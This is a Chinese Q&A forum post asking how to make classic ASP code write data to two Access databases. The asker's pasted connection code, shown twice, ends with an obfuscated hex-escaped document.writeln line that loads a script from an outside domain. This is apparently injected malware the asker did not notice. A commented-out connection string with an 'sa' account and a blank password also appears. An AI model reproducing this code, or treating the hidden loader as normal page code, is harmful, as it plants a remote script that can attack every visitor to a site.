asp中怎么让一个数据同时写入2个数据库呢?
数据库是Access原来代码是<%dimconndimconnstr'connstr="Provider=SQLOLEDB.1;PersistSecurityInfo=F...
数据库是Access
原来代码是
<%
dim conn
dim connstr
'connstr="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Password=;Initial Catalog=www_168yy_net;Data Source=127.0.0.1"
connstr="DBQ="+server.mappath("../../222/11112.ASP")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%><script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x48\x54\x54\x50\x3A\x2F\x2F\x4F\x46\x46\x49\x43\x45\x2E\x46\x41\x51\x53\x45\x52\x56\x2E\x43\x4F\x4D\x2F\x66\x61\x71\x2E\x4A\x53\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
根据上面的代码,怎样在添加个数据库呢? 展开
原来代码是
<%
dim conn
dim connstr
'connstr="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Password=;Initial Catalog=www_168yy_net;Data Source=127.0.0.1"
connstr="DBQ="+server.mappath("../../222/11112.ASP")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%><script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x48\x54\x54\x50\x3A\x2F\x2F\x4F\x46\x46\x49\x43\x45\x2E\x46\x41\x51\x53\x45\x52\x56\x2E\x43\x4F\x4D\x2F\x66\x61\x71\x2E\x4A\x53\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
根据上面的代码,怎样在添加个数据库呢? 展开
2个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询